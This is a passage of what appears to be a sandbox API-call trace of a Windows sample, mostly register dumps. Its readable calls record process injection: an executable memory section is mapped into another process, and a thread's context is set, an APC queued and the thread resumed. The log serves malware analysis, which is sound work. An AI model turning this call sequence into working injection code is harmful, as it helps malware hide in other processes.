[295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0391.057] NtCreateSection (in: SectionHandle=0x6bdac0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6bda60, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6bdac0*=0x210) returned 0x0 [0391.061] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0x208, BaseAddress=0x6bdac8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6bda68*=0x1925a3, InheritDisposition=0x7ffc00000001, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6bdac8*=0x6620000, SectionOffset=0x0, ViewSize=0x6bda68*=0x193000) returned 0x0 [0391.069] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0xffffffffffffffff, BaseAddress=0x6bdab8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6bda68*=0x193000, InheritDisposition=0x7ffc00000001, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6bdab8*=0x5580000, SectionOffset=0x0, ViewSize=0x6bda68*=0x193000) returned 0x0 [0391.116] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x5580000) returned 0x0 [0391.149] NtClose (Handle=0x210) returned 0x0 [0391.154] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be030*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x40, [65]=0xbe, [66]=0xa6, [67]=0xff, [68]=0xff, [69]=0xff, [70]=0xff, [71]=0xff, [72]=0x21, [73]=0x5, [74]=0x1, [75]=0x84, [76]=0xff, [77]=0xff, [78]=0xff, [79]=0xff), FloatSave.Cr0NpxState=0x5ba0b60, SegGs=0x0, SegFs=0xc96200, SegEs=0x0, SegDs=0x75f2c8, Edi=0x0, Esi=0x75f340, Ebx=0x0, Edx=0xc952c0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x75e218, SegCs=0x0, EFlags=0x75ef30, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x46, [5]=0x2, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0xff, [13]=0xff, [14]=0xff, [15]=0xff, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0xf0, [29]=0x96, [30]=0xd6, [31]=0xe7, [32]=0xfc, [33]=0x7f, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x35, [45]=0xd3, [46]=0x72, [47]=0x6, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0391.154] NtQueueApcThread (ThreadHandle=0x20c, ApcRoutine=0x672d342, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0391.158] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0391.158] NtClose (Handle=0x208) returned 0x0 [0391.158] NtClose (Handle=0x20c) returned 0x0 [0391.164] PostThreadMessageW (idThread=0x560, Msg=0x111, wParam=0x0, lParam=0x0) returned 0 [0391.205] PostThreadMessageW (idThread=0x560, Msg=0x8003, wParam=0x6be59e, lParam=0x0) returned 0 [0391.239] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xc48, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0391.239] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0391.239] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0391.243] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0x795000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0391.243] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0396.284] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xce0) | out: ThreadHandle=0x6be92c*=0x208) returned 0x0 [0396.304] NtSuspendThread (in: ThreadHandle=0x208, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0396.304] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2730000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0396.312] NtGetContextThread (in: ThreadHandle=0x208, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x8ffd30, Ebx=0x795000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x8ffcd8, Eip=0x7742295c, SegCs=0x23, EFlags=0x216, Esp=0x8ffcc0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0396.312] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x210) returned 0x0 [0396.313] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x18ba00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5580000, SectionOffset=0x0, ViewSize=0x6be574*=0x18c000) returned 0x0 [0396.321] NtMapViewOfSection (in: SectionHandle=0x210, ProcessHandle=0x20c, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x18ba00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x3100000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x18c000) returned 0x0 [0396.355] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5580000) returned 0x0 [0396.392] NtClose (Handle=0x210) returned 0x0 [0396.396] NtSetContextThread (ThreadHandle=0x208, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, 